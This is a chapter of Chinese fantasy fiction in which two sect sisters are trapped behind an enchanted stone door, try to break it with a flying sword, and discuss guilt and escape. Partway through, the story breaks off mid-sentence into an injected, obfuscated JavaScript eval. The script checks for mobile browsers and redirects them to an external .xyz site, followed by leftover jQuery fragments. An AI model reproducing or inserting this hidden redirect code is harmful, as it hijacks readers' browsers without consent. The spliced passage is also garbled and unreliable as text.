只见那人一闪身,石门“砰”地一声关上了。
“糟了。”
文澈低声说了一句,立马跑到门前。
两人又是推又是砸,可是那门纹丝不动。
“锁着一个上千年的东西,这不会是普通的门,这下有些麻烦了。”
文澈这样说着,又凑近看看,接着垂眼若有所思道:
“这门难道是墨纹石所制?”
昭浔从未听过这些,停下动作转到文澈的方向。
这门一关,里面伸手不见五指,她只能凭着感觉,虽然看不到,但身边的文澈已经成了她的底气。
“师姐,墨纹石是什么?”
文澈的声音依然冷静,但仔细听却含了一丝忧虑:
“听说,墨纹石乃是战神洞府玉华山特有神石,自身便带有隐隐墨香,自万年前战神留在玉华山起,便日日接受战神之力的浸染,逐渐有了灵气,是镇压妖魔最好的材料。同时又因战神常年征战多有受伤,那墨纹石染上了战神之血,墨香中便掺杂了血腥之气。”
昭浔一听,立马凑到门前闻了闻,果然一股隐隐的墨香,再仔细感受,才能闻到更浅的血腥气。
不过这味道甚是浅淡,若不是刻意感受,很容易忽略。
昭浔看向文澈的方向。
这么紧急的时刻,她仍然能够如此冷静。
她这样想着,不由得对文澈产生几分钦佩。
“刚刚见那水牢,起码是个上古妖兽,镇压它不会是用普通之物,所以我猜这便是墨纹石。”
“师姐,那我们要怎么办?”
昭浔等了等,没有听到文澈的回答,便咬咬牙大着胆子凑到门前大声唤道:
“外面的是什么人?请问你与我们究竟有何怨仇,我们能不能把话说清楚?”
昭浔忍着心中的恐惧,极力克制自己的声音想要和对方讲道理。
但门外静悄悄的,一点声音都没有。
看来那人就是想把她们困死在这里,又怎么会理会她们呢?
昭浔有些心灰意冷,看着文澈,也顾不上那什么上古妖兽,什么墨纹石,心中油然而生一股无助与委屈。
“师姐,那人许是已经离开了。”
这几日发生的事,是昭浔十几年都不敢想象的,如今被关在了这黑漆漆的密道之中,一时间,悲伤恐惧迷茫无措,全部涌上心头。
她这时也不由得眼睛一片温热,她用力咬着下唇克制自己的眼泪。
她想不通,清灵村明明只是一个穷苦的小山村,何至于招此劫难?
自己,自己如今独活于世,已经说不清,究竟,究竟是或活着好,还是随他们一同去了好。
正当昭浔低着头无措之时,“簌”地一声,眼前亮起一道火光,火中映起的,是文澈略皱眉头的样子。
仔细看去,那火来自文澈手中燃烧着的符纸。
昭浔原本就是藏不住心事的人,心情来得快去得也快,见到这情形立马又升起了一道希望,眼睛都亮了几分。
对啊!怎么说师姐也修炼了几十年,这点子东西,应该困不住她吧?
昭浔虽然心中底气不足,但也立马直起身握住了文澈拿着符纸的手。
文澈仿佛感受到了她的情绪,伸手握了握她的手腕,轻声安慰道:
“别怕,你躲在我身后,我之佩剑清世乃上古玄铁所制,这扇门虽然结实,但也可以一试。”
说着,文澈将手中的符纸递给昭浔,自己拔出宝剑立于身前,口中念念有词。
随着文澈口中念念有词的心法,那宝剑腾空而起,通身萦绕淡紫色光芒,直指那道漆黑的门。
文澈双手掐诀,那宝剑便也随着她的动作而动。
昭浔不由得看呆了。
我以后也可以这般神勇吗?
她这样想着,另一只手摸上了腰间的短剑。
接着心中立马又有一丝失落。
太短了,不足师姐佩剑一半长。
昭浔不懂兵器,但是在书上看到过一句话,所谓兵器一寸长一寸强,这样打起来的时候才能占了那上风。
也许修炼法术之后会有所不同,但毕竟她如今还不会什么法术,只能靠着兵器了。
正当昭浔扁着嘴回想那日若虚给她的心法时,只见文澈的佩剑“嗖”地一下直冲那门而去,而那扇门仿佛也散发一丝微弱的银色光芒。
两两相抵,竟然停滞在了空中,半晌未曾动弹。
昭浔看看那清世,又看看文澈,张张嘴,犹犹豫豫好一会儿,才发出声音:
“师,师姐……”
可就在这时,那石门仿佛发了力道一般,一下将那宝剑弹了回去。
文澈被那剑气震得向后退了几步。
“师姐!”
“叮当”一声,那剑如被扔在地上一般,闪了几点微弱的光芒,似是挣扎,便不动了。
昭浔满是担心,扶着文澈看向她,却只见文澈仿佛已经料到了一般,脸上无丝毫的意外或是挫败,甚至有一丝隐隐的骄傲。
“不愧是受了战神之力的神石,果真威力不凡。”
“师姐,这……”
文澈摇摇头,眼睛仍未离开那扇门,说道:
“刚才的情形足以说明,墨纹石有神力,但并不想伤人,所以你我才安然无恙。”
“既如此,我们再试几次,说不定会有转机。”
昭浔看向文澈,只见她的脸色明显比刚刚苍白许多,便知她根本不是如她所说,什么事都没有。
昭浔又看看那扇完好无损,甚至连灰尘都没有落下的门,心中已经不见了恐惧,只剩下担忧。
这样下去总不是办法,若再来几次,那门破不开不说,文澈的性命可能就先交代在这了。
她立马说道:
“师姐,既然这里没有人,我们最起码是安全的,不如先在这里休息调息片刻,安心休整一番再做打算。”
文澈垂眼一默,也不逞强,点点头。
看到文澈盘腿坐在一旁,已经开始调整疗伤,昭浔也不由自主拿出了那本心法。
这黑漆漆的水牢中暗无天日,昭浔靠着那点子火光,估摸着可能也就过了半天而已,但是这本心法已经翻到了末尾,自己的腹中,也许是话本中所说的丹田位置,隐隐透出暖意。
昭浔看看仍在闭目养神的文澈,如今安静下来,脑中又全都是这几日发生的事。
许是文澈感应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679060|173196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了她的情绪,她于无声无息之中睁开眼,轻轻开口:
“你在想什么?”
昭浔原本看文澈在闭目养神,冷不丁听到她开口说话,反倒是吓了一跳。
昭浔抿抿嘴,脸上染上一抹歉意与凄凉,她快速眨着眼,好一会才吞吞吐吐说道:
“师姐,也许,也许若不是因为我,师父没有来教我心法,你和宿泱没有因为在清灵村陪我而耽误时间,可能雾虚宗也不至于落得如此下场。”
说完,昭浔低下头用力攥着自己的手,有些不敢面对文澈。
两人在黑暗中沉默了。
“师父法力高强,如今无论什么原因联络不上,这个结局都不会因是否下山而改变,而我和宿泱,若真的如你所说,我们是因为你耽误了时间,那反倒是你救了我们的性命。”
昭浔没想到文澈会说出此话,抬头看向文澈的方向。
“你也看到了,刚刚在竹林,我并不是那人的对手,至于他为何最后放过了你我,我们谁都猜不透,可能就是想留一个人,看我们无助悲痛的样子,当做他的乐趣,可是如果当时我也在宗门,也许我也会一同死在这里。”
“师姐......”
昭浔对于文澈的说法无法反驳,虽然有几分道理,但她明白,文澈这是在安慰自己。
文澈没有等她说话,继续说道:
“你当初在战神庙杀人的气势去哪里了?当初你为何没有责怪那小姑娘掉以轻心,落在恶人的手里?还连累你一起受了刑?你看你都知道这种事不能责怪受害人,但是从昨日起,你便一直在自责内疚,觉得这些是因你而起。”
昭浔心中微微一颤。
“昭浔,这对你不公平。对所有想要惩恶扬善的人都不公平。”
昭浔再也没有反驳的力气,心中也满是委屈与不甘。
两人就这样沉默了许久,都留给对方消化情绪的时间。
她们在这黑暗之中不知道过了多久,久到昭浔已经全然平静下来,甚至有些饿了,她转头四面看看,虽然什么都看不到,她也在疯狂地想着出去的办法。
这里什么都没有,虽然安全,但总归不是长久之计,最起码她们还是人,久了不说遇到那凶手,可能就要先饿死渴死在这里。
可是自己这么多年,别说这些神器,连世面都没见过多少,顶多就是被关在杂物间时踹开一道门,可那扇破破烂烂的木门,怎么和这神器比?
现在还能有什么办法?这又不是家里那个猪圈,实在不行还能挖个狗洞……
诶狗洞!
她眼睛一亮,立马拉住刚刚捡起佩剑,正打算再次试试的文澈。
“师姐,我有一个办法。”
文澈睁开眼睛看向她,眼中有一丝的疑问。
“如师姐所说,墨纹石那般珍贵,那我觉得这个水牢,定然不会整座都是由墨纹石铸成,不然那被锁住的妖兽怎么逃出去的?不然我们找找看,是不是他挖了一个洞,或者挖了个地道逃出去的,再或者,也许我们能找到一处薄弱之地,自己挖一个洞钻出去,师姐,你觉得怎么样?”
文澈眼中疑云更重,看在昭浔眼里,那目光仿佛是在看一个傻子,令昭浔不由自主有些心虚。